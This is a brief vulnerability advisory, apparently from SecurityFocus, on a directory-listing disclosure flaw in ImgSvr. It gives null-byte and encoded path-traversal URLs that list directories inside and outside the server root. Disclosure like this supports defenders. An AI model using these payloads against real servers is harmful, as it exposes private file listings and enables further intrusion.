source: http://www.securityfocus.com/bid/10026/info

A vulnerability has been reported in the ImgSvr server software that may allow a remote user to the disclose root directory listings. This issue has also been reported to allow for listing of directories that reside outside the server root as well.

An attacker may leverage this issue to gain access to sensitive information by disclosing directory listings; information disclosed in this way could lead to further attacks against the target system. 

For listing directories inside the server root (provided by Donato Ferrante):
http://www.example.org:1234/%00/
http://www.example.org:1234/someDirectory%00/
http://www.example.org:1234/someDirectory/%00/

For listing directories outside of the server root (provided by Dr_insane):
http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/